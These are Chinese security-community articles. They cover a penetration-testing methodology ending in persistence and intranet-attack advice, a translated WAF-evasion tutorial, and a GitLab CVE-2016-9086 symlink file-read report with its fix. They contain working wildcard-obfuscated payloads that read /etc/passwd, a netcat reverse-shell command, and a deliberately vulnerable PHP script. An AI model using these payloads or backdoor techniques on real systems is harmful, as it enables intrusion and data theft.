WAF识别大多基于Headers头信息，有一个老工具Wafw00f可以用来探测一定的Waf，也可利用Sqlmap的[waf脚本](https://github.com/sqlmapproject/sqlmap/tree/master/waf)，也可使用Nmap的http-waf-detect和http-waf-fingerprint脚本，也可自己平时多收集Waf特征。
**12\. 搜集历史漏洞。** 若能够在根据已有信息情况下找到一枚历史漏洞将会是一个巨大的帮助。漏洞查询站点举例：[exploitdb
](https://www.exploit-db.com/)、[hackerone](https://www.hackerone.com/)、[CNVD
](http://www.cnvd.org.cn/)、[0day5
](http://0day5.com/)、[乌云漏洞库镜像站](http://wooyun.jozxing.cc/)。
**从信息到规划**
根据已搜集的信息进行梳理与分析，查找疏漏点进行搜集补充，从各个角度都整理一套渗透攻击步骤与思路的规划，优先以最擅长的方面切入，优先以最有把握的点切入，以不打草惊蛇为原则。
**漏洞挖掘与利用**
**漏洞挖掘**
站点漏洞挖掘是大家都经常搞的了，挖洞技能全靠平时积累学习。看文章的师傅们水平目测都比我高，这里不班门弄斧了，只分享下一般站点漏洞挖掘的个人习惯（不对地方还请指出，3Q）。
1\.
针对站点漏洞挖掘，我个人不喜欢直接上AWVS、Appscan、Nessus之类的重量级扫描器，一方面用重量级扫描器会很容易被负责的运维人员发现，这样无疑会增大接下来的渗透难度；另一方面会被绊IP，这样就损失部分代理或肉鸡；再一方面还有一定机率对站点数据和服务造成破坏，这也是渗透最不想看到的事；再者说现在的站点也没有能轻易被扫描器扫出来的Web漏洞。
2\.
对一个站点，我一般会习惯性的按着从系统漏洞探测到中间件漏洞探测再到Web漏洞探测的过程。虽说大多数情况下系统漏洞和中间件漏洞碰到的不多，但万一走运了。对系统漏洞和中间件漏洞挖掘，常用Nmap脚本、MSF模块、F-MiddlewareScan框架等工具。对于Web漏洞探测，若是CMS站点首先去寻找版本漏洞，也可以WPScan、Joomscan、M7lrv-CMS之类工具扫一扫，也可以利用CMS-Exploit-Framework框架利用漏洞，但大多CMS攻击还需要靠自己积累学习（挖0day）；若是自行开发的Web站点，那就需要发挥一个Web狗的特长了，先搞帐号熟悉一下基本功能和结构，重点地方重点排查，从注册到登录到功能到……从注入到跨站到第三方功能组件……多多探测，多多fuzz。
3\.
主站搞不下搞旁站，旁站搞不下搞C段，只要得到一个突破口就够了。站点都不好弄情况下，还可以根据已有的信息进行社工以获得更多的信息，信息越多进行密码破解可能性越大，顺便分享个[密码包](https://pan.baidu.com/s/1qXGXh9q)（ps：忘了从哪掏的包了，感谢收集者。）。
4\.
若对测试目标左挖右挖都挖不到能利用的点，那也不，还有一项：APT攻击。一个测试目标，即便站点维护强固，但也很难保证内部员工安全素质极高，一点小小的疏漏就给了攻击者可趁之机。做一个有深度的APT攻击是个很耗时耗力的事情，但对于测试目标安全性能底线而言，可以进行一个小型的APT攻击。现在常见的APT攻击手段就是水坑攻击和鱼叉式网络钓鱼。攻击的前提是社工得到足够的内部员工的体系结构、上网习性等信息，了解体系结构才能知道在哪里能够获得更有用的信息，了解上网习性才能利用习性漏洞进行开展入侵。一个软件使用版本、使用习惯都会给攻击者带来一个入侵点，但攻击者肚里也要有足够的量。反正只要能通过水坑攻击或鱼叉式钓鱼等方式搞到一台内部机，剩余的都是搞内网的事情了。
**漏洞利用**
1\. 利用挖掘出来的漏洞也要很小心，能把服务打瘫痪的漏洞就先不要尝试了。
**2\. 对于系统漏洞和中间件漏洞** ，自己常用的就是msf和exploitdb直接利用现成脚本工具打，但特别情况下也需要修改或自造脚本。
**3\. 对于逻辑漏洞、越权、CSRF/XSRF之类的漏洞** ，在没法扩大渗透深度的情况下就可以写这项的报告了。
**4\. 对于SSRF漏洞** ，环境允许的情况下可以很好的利用它进行内网探测与攻击，关于SSRF推荐猪猪侠师傅的《一个只影响有钱人的漏洞》文章。
**5\. 对于任意文件上传漏洞** ，能拿shell就可以做跳板搞内网了。
**6\. 对于任意文件包含和任意读取** ，一般就是远程包含拿shell，本地读取拿文件，特别情况下还可以扩大利用。
**7\. 对于SQL注入漏洞** ，注入要有“度”，能得到管理员密码进后台上shell就知足了，千万别动别的，利用方式上提倡自写脚本。
**8\. 对于XSS漏洞**
，不要习惯性的拿弹窗测试，不建议使用别人搭建的平台，可以利用BlueLotus_XSSReceiver搭建或者利用BeEF或者利用XSSer或者写个小脚本自建。
其他漏洞就不一一举例了，反正在隐秘测试的情况下，能悄悄的就悄悄的。
漏洞挖掘与利用辅助工具也就那些常用的那些，除了上面列举外再举例几个自己比较习惯的：Firefox插件（Hackbar、HackSearch、HttpRequester、Live
Http headers、Modify Headers、Netcraft Anti-Phishing
Toolbar、NoScript、Wappalyzer、Web
Developer）、御剑、椰树、dirb、K8fly、Sqlmap、BurpSuite、AntSword、Hashcat、Hydra、Medusa。
**提权与维权**
**提升权限**
虽说仅仅是个测试，但很多情况下提权还是要的，这是变点为面的前提。当然，提权也未必是在自己拿到的站点服务器或钓到的那个主机上提权，提权目的是有个高权限的机子来方便测试整个内网，比如可以以已有机器为跳板以远程提权方式来打到内网其他主机的高权限，所以只要在内网任意机器上拿到可进一步渗透利用的高级权限就够了。提权方法也有很多，不同环境下有不同的姿势。
**1\. 系统漏洞提权。**
windows下可以用systeminfo查看系统版本和补丁记录，利用没修补的漏洞提权，例如MS11080等；linux下可以用uname
-a查看系统内核版本，利用系统内核漏洞提权（内核提权很容易导致系统崩溃，要小心），例如心脏出血等。
**2\. 数据库提权。**
一方面可以利用数据库漏洞得到数据库执行权的Shell；另一方面可以在站点数据库配置文件找数据库帐号密码，利用数据库系统命令执行功能获得数据库执行权的Shell。数据库漏洞上例如Mssql的JOB提权、Mysql的Mof提权。
**3\. Web中间件漏洞提权。** 通过Web服务的容器漏洞进行本地提权。例如IIS溢出、Tomcat提权等。
**4\. 第三方软件提权。**
很多开机自启的软件都会以system权限运行，或者使用者启动时使用了管理员权限运行。例如Radmin、Filezllia、搜狗拼音提权等
**5\. 系统错误配置提权。** 在windows下可以使用BeRoot工具进行系统配置检查，利用配置错误点进行提权。
**6\. 获取高权限账号提权。** 可以在控制机上利用LaZagne
project（支持linux、windows、mac），可以抓取chats、mails、database、wifi、sysadmin、wallet、browsers、memory中的密码，可以利用抓取到的密码进行高权限帐号密码测试，也可以利用神器mimikatz和mimipenguin，不过在部分时候由于权限问题可能读取不到部分密码。
**维持权限**
维权也是一个必须的点，好不容易搞到的跳板可不能轻易丢了。维权也就是所谓的留后门，无论windows下还是linux下留后门姿势都多种多样，我也就只列举几个吧。
1\.
服务器站点可以采取构造Web漏洞方式维权。我感觉这种方式比放上个马可靠多，同时漏洞构造的隐蔽一些，让其他人给利用了就不好完了。比如可以构造复杂的文件包含漏洞包含放在某个系统目录下的木马图片来获取Shell，也可以构造SQL注入利用Sqlmap的–os-shell参数来执行Shell。
2\. 服务器站点可以使用过狗过盾的复杂马维权。复杂马的构造需要私下自己多实验多构造了。
3\.
Linux、Windows账户维权。这个方法只适合没有做LDAP或堡垒机之类的SSO统一权限管理和没有屏蔽对外端口的情况，可以利用密码读取工具读取到的密码进行保持权限，也可以自建[linux隐藏账户](http://blog.sina.com.cn/s/blog_53aab5c10101dhtt.html)、[windows隐藏账户](http://blog.csdn.net/a956163985/article/details/50112187)的方式保持权限。
4\.
工具法维权。工具概括来说就是主动反弹和被动连接两种。两种方式各有优缺点，例如：主动反弹方式既可以放在有公网IP的服务器站点也可以放在内网钓到的机子上，并且更方便规避防火墙、IPS等阻碍，但需要设定触发机制，不能做到想连就连；被动连接方式能够随时连，但无法利用在内网机子上（除非你拿了上层路由做了端口映射）。利用上例如msf生成后门、nc反弹，[脚本反弹shell](http://www.cnblogs.com/r00tgrok/p/reverse_shell_cheatsheet.html)等。
**内网渗透**
内网渗透基本都是依据当前所获得的网络环境进行策略制定，不同环境方式不同，但内网中能搞得也就常说的那些，在有比较靠谱的防火墙、NIDS、IPS的情况下内网就更加难搞了，时时刻刻还要提防它们。这里也就之列举一下常用的内网思路。
**常用套路**
**1\. 网络拓扑探测**
。探测拓扑是个很头大的事，子内网和防火墙都会阻碍拓扑探测。大多也只能探测到上层网、公共网、内网服务器网的网络环境，再有些其他因素就导致探测的更少了。
**2\. 内网弱口令** 。内网弱口令其实还是蛮多的，可以对同子网个人电脑、内网服务器、交换机、路由器尝试弱口令破解。
**3\. 内网服务器漏洞** 。若在OA之类的内网办公通讯站点，可以挖到漏洞就可以获取到部分有助内网渗透的信息。
**4\. 内网路由器漏洞**
。无论是上层网路由还是内网服务器网路由，只要拿下路由器那就是个很大的帮助，这样就可以进一步做端口映射和转发，更好的其搜集其他内网信息，扩大了攻击面。
**5\. 内网个人电脑漏洞**
。例如利用17010之类的远程漏洞测试同子内网中的个人电脑，进而多搜集信息，以方便测试内网服务器。一个不错的内网信息搜集脚本：[地址](http://www.freebuf.com/sectool/39875.html)
**6\. 内网钓鱼** 。和一般钓鱼思路差不多，不过内网中更容易让别人信任，可以通过OA和办公邮件进行钓鱼。
**7\. 中间人攻击** 。不同环境下可以用不同的姿势，一般用的多的就是ARP欺骗、DNS欺骗、会话劫持，进行中间人攻击的前提是取得一定的内网权限。
**8\. 内网穿透**
。在进行部分攻击时候，可能需要让其他内网电脑穿过外网出口进行辅助测试，这里推荐一篇不错的[穿越边界的姿势](https://www.wxzhi.com/archives/014/ode5hy48icqv32xu/)，另外经过Web站点做代理进行穿透时候还需要做Web端口复用。
**后记**
一场正规测试下清理痕迹就可以省了，所以这里也不写了，但还是需要老老实实供出在人家网络干了哪些事，以免以后出其他乱子扣在自己头上。另外还需要撰写漏洞报告，一个漂亮的报告是渗透测试的满意答卷，漏洞报告上不仅要体现出漏洞危害程度与漏洞细节，相应的修补建议尤其是内网修补建议要详细、规格、严谨。
文段也就写到这里了，师傅们有什么对小文若感觉有什么不妥和建议可以留言，我必虚心接受。
**感谢**
****
<http://www.freebuf.com/articles/system/58096.html>
<http://bobao.360.cn/learning/detail/4158.html>
<https://bbs.ichunqiu.com/thread-16020-1-1.html>
<https://www.secpulse.com/archives/50288.html>
<http://www.freebuf.com/articles/system/91791.html>
<http://www.cnblogs.com/r00tgrok/p/reverse_shell_cheatsheet.html>
<https://www.wxzhi.com/archives/014/ode5hy48icqv32xu/>
<http://www.freebuf.com/sectool/39875.html> | 社区文章 |
# web应用防火墙逃逸技术（一）
##### 译文声明
本文是翻译文章，文章来源：https://medium.com/
原文地址：<https://medium.com/secjuice/waf-evasion-techniques-718026d693d8>
译文仅供参考，具体内容表达以及含义原文为准。
### 传送门： [web应用防火墙逃逸技术（二）](https://www.anquanke.com/post/id/145542)
## 前记
在Web应用程序中发现远程命令执行漏洞并不罕见，并且”注入”被公认为”2017 OWASP Top 10”之首
当不可信数据作为命令或查询的一部分发送给解释器时，会发生注入漏洞：如SQL，NoSQL，OS和LDAP注入。
攻击者的恶意数据可能会诱使解释器执行意外的命令或在未经适当授权的情况下访问数据。
所有现代Web应用防火墙都能够拦截（甚至阻止）RCE的测试，但是当它发生在Linux系统中时，我们有很多方法可以规避WAF规则集。它的名字是”通配符”。在开始做WAPT之前，我想向你展示一些你可能不知道的有关bash和通配符的知识。
## 你可能不知道的通配符
Bash标准通配符（也称为通配符模式）被各种命令行实用程序用于处理多个文件。有关标准通配符的更多信息，请参阅手册页man 7
glob。并不是每个人都知道有很多bash语法可以让你使用问号”?”，正斜杠”/“，数字和字母来执行系统命令。
您甚至可以使用相同数量的字符枚举文件并获取其内容。我举几个例子：
取而代之`ls`命令，你可以使用下面的语法：
/???/?s
用这种语法，你可以执行基本上你想要的任何事情。假设您的易受攻击目标位于Web应用程序防火墙之后，并且此WAF有一条规则，该规则可阻止包含GET参数`/etc/passwd`或`/bin/ls`内部值的所有请求，或在POST请求中阻止所有请求内部值的请求。如果你试图提出一个请求，`/?cmd=cat+/etc/passwd`它会被目标WAF阻止，你的IP将被永久禁止。但是你的口袋里有一把叫做通配符的秘密武器。如果你幸运的话（我们后面会看到，可能没那么幸运）目标WAF没有足够的级别来阻止像`?`和`/`在查询字符串中。那么你可以很容易构造你的payload像这样：`/?cmd=%2f???%2f??t%20%2f???%2fp??s??`
正如你在上面的截图中看到的，有3个错误`/ bin / cat
*：是一个目录`。发生这种情况是因为`/???/??t`可以通过globbing过程转换，可被转化为`/bin/cat`，也可以是`/dev/net`或者`/etc/apt`等……
问号通配符只代表一个字符，可以是任何字符。因此，如果你知道文件名的一部分，那么你可以使用这个通配符。例如，`ls
*.???`会列出当前目录中所有文件的长度为3个字符的扩展名。
因此将列出具有诸如`.gif，.jpg，.txt`之类的扩展名的文件。
使用这个通配符，你可以使用netcat执行一个反向shell。假设您需要在端口1337
（通常`nc -e /bin/bash 127.0.0.1 1337`）执行127.0.0.1的反向shell ，您可以使用如下语法来执行此操作：
`/???/n? -e /???/b??h 2130706433 1337`
以long格式（2130706433）转换IP地址127.0.0.1，可以避免在HTTP请求中使用”点”字符。
在我的kali中我需要使用`nc.traditional`，以便`/bin/bash`连接后执行。payload变成这样：
/???/?c.??????????? -e /???/b??h 2130706433 1337
总结了我们刚才看到的两个命令：
标准：`/bin/nc 127.0.0.1 1337`
bypass：`/???/n? 2130706433 1337`
使用字符：`/ ? n [0-9]`
标准：`/bin/cat /etc/passwd`
bypass：`/???/??t /???/??ss??`
使用字符：`/ ? t s`
为什么要用`?`而不是`*?`因为星号（ _）被广泛用于评论语法（类似于`/_ 嗨，我是注释
_/`），并且许多WAF会阻止它为了避免SQL注入,类似于`UNION + SELECT + 1,2,3 /
_`枚举文件和目录使用`echo？`。该echo命令可以使用通配符枚举文件系统上的文件和目录。例如`echo / _/_ ss*`
这可以在RCE上使用，以获取目标系统上的文件和目录，例如：
但为什么使用通配符（特别是问号）可以规避WAF规则集？让我从Sucuri WAF开始吧！
## Sucuri WAF 逃逸
测试WAF规则集的最佳方法是哪一种？
创建世界上最脆弱的PHP脚本并尝试所有可能的技巧！在上面的屏幕截图中，我们有：
在左上窗格中有我简陋的Web应用程序（它只是一个执行命令的PHP脚本）：
<?php
echo 'ok: ';
print_r($_GET['c']);
system($_GET['c']);
在左下方的窗格中，您可以在我的网站上看到由`Sucuri
WAF（test1.unicresit.it）`保护的远程命令执行测试。正如您所看到的，Sucuri以原因:检测到尝试的RFI/LFI请求，阻止了您的请求。
右窗格是最有趣的，因为它显示相同的请求，但使用`?`作为通配符。结果令人害怕
Sucuri WAF接受了这个请求，我的应用程序执行了我放入c参数的命令。现在我可以读取`/etc/passwd`文件，甚至更多…
我可以阅读应用程序本身的PHP源代码，我可以使用`netcat`来执行反向shell`/???/?c`，或者我可以用curl或wget按顺序执行程序以显示网络服务器的真实IP地址，使我能够通过直接连接到目标来绕过WAF。
但必须要澄清，我正在使用不代表真实场景的简陋PHP脚本进行此测试。恕我直言，你不应该根据它阻止多少请求来判断一个WAF，而且Sucuri不会因为不能完全保护一个故意容易受到攻击的网站而变得不那么安全。
## ModSecurity OWASP CRS 3.0
我真的很喜欢ModSecurity，我认为用于Nginx和Nginx连接器的新libmodsecurity（v3）是我用来部署Web应用程序防火墙的最佳解决方案。我也是OWASP核心规则集的忠实粉丝！我在任何地方都使用它，但是，如果你不太了解这个规则集，你需要注意一个叫做love的东西..emmmm，不好意思，是Paranoia
Level！
## Paranoia Level
您可以在这里找到以下”架构”,其很好地概述了每个级别在”REQUEST PROTOCOL ENFORCEMENT”规则上的工作原理。
正如你用PL1所看到的，一个查询字符串只能包含1-255范围内的ASCII字符，并且它变得更具限制性，直到PL4在非常小的范围内阻止所有不是ASCII字符的参数。
# -=[ Targets and ASCII Ranges ]=- #
# 920270: PL1
# REQUEST_URI, REQUEST_HEADERS, ARGS and ARGS_NAMES
# ASCII: 1-255
# Example: Full ASCII range without null character
#
# 920271: PL2
# REQUEST_URI, REQUEST_HEADERS, ARGS and ARGS_NAMES
# ASCII: 9,10,13,32-126,128-255
# Example: Full visible ASCII range, tab, newline
#
# 920272: PL3
# REQUEST_URI, REQUEST_HEADERS, ARGS, ARGS_NAMES, REQUEST_BODY
# ASCII: 32-36,38-126
# Example: Visible lower ASCII range without percent symbol
#
# 920273: PL4
# ARGS, ARGS_NAMES and REQUEST_BODY
# ASCII: 38,44-46,48-58,61,65-90,95,97-122
# Example: A-Z a-z 0-9 = - _ . , : &
#
# 920274: PL4
# REQUEST_HEADERS without User-Agent, Referer, Cookie
# ASCII: 32,34,38,42-59,61,65-90,95,97-122
# Example: A-Z a-z 0-9 = - _ . , : & " * + / SPACE
让我们来做一些测试吧！
## Paranoia Level 0（PL0）
Paranoia Level 0意味着许多规则被禁用，所以我们的payload可以导致远程命令执行没有任何问题。不要惊慌:)
SecAction "id:999,
phase:1,
nolog,
pass,
t:none,
setvar:tx.paranoia_level=0"
ModSecurity中的Paranoia Level
0意味着”高质量的完美规则，几乎没有误报”，但它也过于宽容。您可以在netnea网站上找到按Paranoia级别分组的规则列表：`https：//www.netnea.com/cms/core-rule-set-inventory/`
## Paranoia Level 1&2（PL1，PL2）
我已经将级别1和级别2分组，因为它们的差异（如您在上面的模式中所见）不会影响我们的目标，所有行为都与以下所述相同。
SecAction "id:999,
phase:1,
nolog,
pass,
t:none,
setvar:tx.paranoia_level=1"
PL1（和PL2）ModSecurity显然阻止了我对”OS文件访问尝试（930120）”的请求。但是如果我使用问号作为通配符呢？该申请被我的WAF接受：
发生这种情况是因为“问号”，“正斜杠”和“空格”在规则920271和920272中的可接受字符范围内。此外，使用“问号”而不是命令语法使我能够避开拦截操作系统的常用命令和文件（例如，在我们的例子中为`/etc/passwd`）的”操作系统文件”筛选器，。
## Paranoia Level 3（PL3）
这种Paranoia Level
3水平有一个好处：它阻止包含`?`等字符超过n次的请求。实际上，我的请求被封锁为”字符异常检测警报”。这很酷！不错的工作ModSecurity，你赢了！
但不幸的是，我的Web应用程序非常简陋，容易受到攻击，因此我可以使用较少的问号并使用以下语法读取passwd文件：`c=/?in/cat+/et?/passw?`
正如你所看到的，只用3个`?`，我可以逃避这个Paranoia
Level，并读取目标系统中的passwd文件。好吧，这并不意味着你必须始终无条件地将你的Paranoia
Level设置为4。请记住，我用一个非常愚蠢的PHP脚本来测试它并不代表真实的场景
## Paranoia Level 4（PL4）
基本上没有逃逸办法，至少我不能。范围之外的所有字符`a-z A-Z
0–9`都被阻止！没办法！相信我，当你需要执行命令来读取文件时，有90％的概率需要“空格”字符或“正斜杠”
## 最后的想法
返回到静态HTML页面
这是提高Web应用程序安全性的最快方法！很难说什么是避免WAF逃避的最佳配置，或者什么是最好的Paranoia
Level。但我可以说，恕我直言，我们不应该信任在Web应用程序上均匀分布的规则集。事实上，我认为我们应该配置我们的WAF规则，每个应用程序功能都是上下文化的。
无论如何，当你在你的ModSecurity或类似的东西上编写一个新的SecRule时，请记住，可能有很多方法来绕过你的过滤或者正则表达式。 | 社区文章 |
# 【漏洞分析】GitLab的文件读取问题导致的RCE漏洞
|
##### 译文声明
本文是翻译文章，文章来源：hackerone
原文地址：<https://hackerone.com/reports/178152>
译文仅供参考，具体内容表达以及含义原文为准。
**
**
**翻译：**[ **WisFree**](http://bobao.360.cn/member/contribute?uid=2606963099)
**稿费：160RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆 ** ** **[
**网页版**](http://bobao.360.cn/contribute/index)****** 在线投稿**
**漏洞信息**
**漏洞状态：** 已解决
**披露时间：** 2016年11月3日
**漏洞厂商：** GitLab
**漏洞CVE：**[ CVE-2016-9086](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-9086)
**漏洞类型：** 信息披露漏洞
**漏洞等级：** 高危漏洞
**受影响产品：**
-8.13.0～8.13.2
-8.12.0～8.12.7
-8.11.0～8.11.9
-8.10.0～8.10.12
-8.9.0～8.9.11
**漏洞概述**
GitLab
CE/EE的8.9、8.10、8.11、8.12以及8.13版本中存在任意文件读取漏洞，攻击者或可利用这个漏洞来获取应用程序中敏感文件的访问权。在获取到这些机密数据之后，攻击者将可以通过执行恶意命令来访问应用程序服务器。
8.9、8.10、8.11和8.12版本中漏洞的CVSS（通用漏洞评分系统）评分为8.4分（CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H）。而8.13版本中相同漏洞的CVSS评分为9.0分，因为在该版本中攻击者完全可以在无需获得管理员权限的情况下利用这个漏洞（CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H）。在所有版本的攻击场景中，GitLab实例需要导入并启用GitLab的输出文件功能。
**
**
**漏洞分析**
GitLab的输出上传功能中存在一个漏洞，这个漏洞将允许攻击者读取GitLab实例中的任意文件，这个漏洞主要是由JSON.parse中的错误操作而导致的，因为JSON.parse中有可能会包含或引用GitLab导出文件的符号链接。当我准备开始对这个功能进行分析之前，我创建了一个演示仓库，并且还通过项目的管理员面板导出了这个GitLab实例。当我们创建了一个新的项目之后，我们就可以直接导入这些GitLab文件了。演示站点为<https://gitlab.com/projects/new>（点击”GitLab导出”）。通常情况下，一个简单的GitLab导出文件一般包含下列文件：
export $ ls -lash
total 48
8 -rw-r--r--@ 1 jobert staff 5B Oct 25 19:52 VERSION
8 -rw-r--r--@ 1 jobert staff 341B Oct 25 19:53 project.bundle
8 lrwxr-xr-x 1 jobert staff 11B Oct 25 20:43 project.json
当我们再次加载之前导出的GitLab文件时，将会发生以下几件事情。首先，系统会等待文件写入磁盘（针对大型仓库而言）；其次，系统会根据VERSION文件来检测导入项目的版本；最后，GitLab会根据project.json文件来创建一个新的Project实例。
这里的第一步其实并不重要，所以我们现在直接来看一看第二步中系统所执行的相关代码（Gitlab::ImportExport::VersionChecker，第12-18行）：
def check!
version = File.open(version_file, &:readline)
verify_version!(version)
rescue => e
shared.error(e)
false
end
请各位注意第13行的代码，它将会打开文件并调用readline方法，而这个方法将会返回稳健的第一行数据。第16行代码会捕获系统运行过程中的所有异常，并将异常信息压入errors栈。所有的这些错误都将被发送至前端。接下来，让我们看一看该文件中的第27-31行代码：
if Gem::Version.new(version) != Gem::Version.new(Gitlab::ImportExport.version)
raise Gitlab::ImportExport::Error.new("Import version mismatch: Required #{Gitlab::ImportExport.version} but was #{version}")
else
true
end
这也就意味着，如果文件版本不正确的话，系统会返回一个异常，异常信息中会包含这份GitLab导出文件的版本信息。我们解压GitLab的导出文件，用一个符号链接替换其中的VERSION文件，然后再重新进行压缩。tar文件的结构如下所示：
export $ ls -lash
8 lrwxr-xr-x 1 jobert staff 11B Oct 25 20:43 VERSION -> /etc/passwd
8 -rw-r--r--@ 1 jobert staff 341B Oct 25 19:53 project.bundle
8 lrwxr-xr-x 1 jobert staff 11B Oct 25 20:43 project.json
在创建好了新的GitLab导出文件之后（在导出目录中执行tar -czvf
test.tar.gz），我们就可以加载这份新的GitLab文件了。加载成功之后，因为文件存在版本错误，所以系统将会抛出一个异常，而GitLab实例将会返回第一行错误信息：
但是，这种方法只能读取某个文件的第一行数据。这的确很有意思，但这肯定不是我们想要的，我们想要读取文件的完整内容。于是我们继续分析，看看是否能找到读取完整文件的方法。正如我之前所提到的，导入过程中的第三步就是创建一个新的Project实例。此时，下列代码将会被执行（Gitlab::ImportExport::ProjectTreeRestorer，第11-22行）：
def restore
json = IO.read(@path)
tree_hash = ActiveSupport::JSON.decode(json)
project_members = tree_hash.delete('project_members')
ActiveRecord::Base.no_touching do
create_relations
end
rescue => e
shared.error(e)
false
end
这段代码采用的结构与负责进行版本检测的代码结构非常相似，第13-18行代码可以捕获异常，然后将错误信息压入errors栈。ActiveSupport会使用JSON.parse来解码JSON数据，如果解码失败的话，系统会将待解码的字符串包含在错误信息中一起返回。这也就意味着，如果我们可以让解码器抛出一个异常的话，我们就可以读取稳健的内容了。其实也并不难，先来看看下面给出的这个文件结构：
export $ ls -lash
8 -rw-r--r--@ 1 jobert staff 11B Oct 25 20:43 VERSION
8 -rw-r--r--@ 1 jobert staff 341B Oct 25 19:53 project.bundle
8 lrwxr-xr-x 1 jobert staff 11B Oct 25 20:43 project.json -> /etc/passwd
在这个例子中，project.json文件是一个指向/etc/passwd的符号链接。第14行代码可以调用IO.read方法来读取文件内容。很明显，/etc/passwd文件中并不包含有效的JSON数据。因此，系统肯定会抛出一个异常，而异常信息中将会包含/etc/passwd文件的内容。使用tar来对文件进行压缩，然后准备上传[[演示文件下载-test.tar.gz（F130233）]](https://hackerone-attachments.s3.amazonaws.com/production/000/130/233/1a62bf87c15a273b1ff8f5a5b257169a8e44e88e/test.tar.gz?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAJFXIS7KJADBA4QQA%2F20161104%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20161104T033745Z&X-Amz-Expires=3600&X-Amz-SignedHeaders=host&X-Amz-Signature=0d2f6533be8abaab0deb2e35019c1e59f81af476bc58e1909f1a4cb00cc023bb)。文件导入成功之后，我们就可以从错误信息中获取链接文件的内容了：
需要声明的是，这并不是我自己的/etc/passwd文件。下面给出的是gitlab.com中/etc/passwd文件的最后五行数据：
alejandro:x:1117:1117::/home/alejandro:/bin/bash
prometheus:x:999:999::/opt/prometheus:/bin/false
gitlab-monitor:x:998:998::/opt/gitlab-monitor:/bin/false
postgres:x:116:121:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
brian:x:1118:1118::/home/brian:/bin/bash
因此，攻击者同样可以利用这种方法来读取GitLab中Rails项目的机密文件。需要注意的是，这个问题也将导致RCE漏洞。除此之外，攻击者甚至还可以通过这个漏洞拿到GitLab的shell，并访问所有的代码仓库。
**
**
**附件下载**
1\. F130233: [test.tar.gz](https://hackerone-attachments.s3.amazonaws.com/production/000/130/233/1a62bf87c15a273b1ff8f5a5b257169a8e44e88e/test.tar.gz?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAJFXIS7KJADBA4QQA%2F20161104%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20161104T033745Z&X-Amz-Expires=3600&X-Amz-SignedHeaders=host&X-Amz-Signature=0d2f6533be8abaab0deb2e35019c1e59f81af476bc58e1909f1a4cb00cc023bb)
2\. F130234: [Screen_Shot_2016-10-25_at_20.55.36.png](https://hackerone-attachments.s3.amazonaws.com/production/000/130/234/3835c6918f985b21fee93e9f9c3401a399c0fd06/Screen_Shot_2016-10-25_at_20.55.36.png?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAJFXIS7KJADBA4QQA%2F20161104%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20161104T033745Z&X-Amz-Expires=3600&X-Amz-SignedHeaders=host&X-Amz-Signature=53c6698fbe58fc990fcde3fe88273fd8108b17ce6a9e0f8467391e112ce93365)
3\. F130235: [Screen_Shot_2016-10-25_at_19.28.51.png](https://hackerone-attachments.s3.amazonaws.com/production/000/130/235/eda5af808482da6f95d04416ba92d08c11f516d1/Screen_Shot_2016-10-25_at_19.28.51.png?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAJFXIS7KJADBA4QQA%2F20161104%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20161104T033745Z&X-Amz-Expires=3600&X-Amz-SignedHeaders=host&X-Amz-Signature=26d18a1be9a00c6123d2e32f1fee717fcdfabe0b1a2dcff68a59bc670673cd95)
**
**
**漏洞修复情况**
下面给出的是我们所采用的漏洞修复代码，感兴趣的用户可以自己动手实现一下：
diff --git a/lib/gitlab/import_export/file_importer.rb b/lib/gitlab/import_export/file_importer.rb
index 113895b..ffd1711 100644
--- a/lib/gitlab/import_export/file_importer.rb
+++ b/lib/gitlab/import_export/file_importer.rb
@@ -43,6 +43,14 @@ module Gitlab
raise Projects::ImportService::Error.new("Unable to decompress #{@archive_file} into #{@shared.export_path}") unless result
+ remove_symlinks!
+ end
+
+ def remove_symlinks!
+ Dir["#{@shared.export_path}/**/*"].each do |path|
+ FileUtils.rm(path) if File.lstat(path).symlink?
+ end
+
true
end
end
diff --git a/lib/gitlab/import_export/project_tree_restorer.rb b/lib/gitlab/import_export/project_tree_restorer.rb
index 7cdba88..c551321 100644
--- a/lib/gitlab/import_export/project_tree_restorer.rb
+++ b/lib/gitlab/import_export/project_tree_restorer.rb
@@ -9,8 +9,14 @@ module Gitlab
end
def restore
- json = IO.read(@path)
- [@tree_hash](/tree_hash) = ActiveSupport::JSON.decode(json)
+ begin
+ json = IO.read(@path)
+ [@tree_hash](/tree_hash) = ActiveSupport::JSON.decode(json)
+ rescue => e
+ Rails.logger.error("Import/Export error: #{e.message}")
+ raise Gitlab::ImportExport::Error.new('Incorrect JSON format')
+ end
+
[@project_members](/project_members) = [@tree_hash](/tree_hash).delete('project_members')
ActiveRecord::Base.no_touching do
diff --git a/lib/gitlab/import_export/version_checker.rb b/lib/gitlab/import_export/version_checker.rb
index fc08082..bd3c3ee 100644
--- a/lib/gitlab/import_export/version_checker.rb
+++ b/lib/gitlab/import_export/version_checker.rb
@@ -24,12 +24,19 @@ module Gitlab
end
def verify_version!(version)
- if Gem::Version.new(version) != Gem::Version.new(Gitlab::ImportExport.version)
+ if different_version?(version)
raise Gitlab::ImportExport::Error.new("Import version mismatch: Required #{Gitlab::ImportExport.version} but was #{version}")
else
true
end
end
+
+ def different_version?(version)
+ Gem::Version.new(version) != Gem::Version.new(Gitlab::ImportExport.version)
+ rescue => e
+ Rails.logger.error("Import/Export error: #{e.message}")
+ raise Gitlab::ImportExport::Error.new('Incorrect VERSION format')
+ end
end
end
end
我们已经发布了针对该漏洞的修复补丁和安全公告，感兴趣的用户可以访问并了解详情。地址：[https://about.gitlab.com/2016/11/02/cve-2016-9086-patches/](https://about.gitlab.com/2016/11/02/cve-2016-9086-patches/)
我们强烈建议使用了上述版本GitLab的用户尽快安装更新补丁。请注意，GitLab
